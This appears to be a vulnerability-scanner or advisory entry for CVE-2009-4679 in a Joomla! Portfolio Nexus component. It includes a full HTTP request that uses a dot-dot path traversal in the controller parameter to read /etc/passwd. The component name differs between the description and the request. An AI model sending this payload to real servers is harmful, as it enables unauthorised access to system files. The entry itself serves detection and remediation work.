| Title | Joomla! Portfolio Nexus - Remote File Inclusion |
|---|---|
| Author | daffainfo |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system. |
| Remediation | Apply the latest security patches and updates provided by Joomla! to fix the Remote File Inclusion vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.23302 |
| CVE ID | CVE-2009-4679 |
| CWE ID | CWE-22 |
| Tags | cve2009 cve joomla lfi nexus edb inertialfate vuln |
Joomla! Portfolio Nexus 1.5 contains a remote file inclusion vulnerability in the inertialFATE iF (com_if_nexus) component that allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
GET /index.php?option=com_kif_nexus&controller=../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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